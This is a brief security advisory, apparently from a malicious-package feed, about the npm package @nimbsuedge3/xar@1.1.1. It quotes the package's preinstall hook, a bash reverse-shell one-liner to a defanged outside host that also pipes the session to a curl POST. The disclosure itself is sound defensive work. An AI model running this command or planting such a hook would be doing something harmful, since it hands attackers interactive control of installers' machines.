@nimbsuedge3/xar@1.1.1

Analysis

The package's preinstall hook opens an interactive reverse shell to 147[.]93[.]157[.]202[.]nip[.]io:8080 (`bash -i >& /dev/tcp/147[.]93[.]157[.]202[.]nip[.]io/8080 0>&1`) and pipes the shell session to a curl POST to hxxp://canarytokens[.]com/terms/7dc94zmd3so67n5vbz5bxmt7v/contact[.]php. Installing the package gives the remote host an interactive shell on the installer's machine. The package ships no other code (package.json only).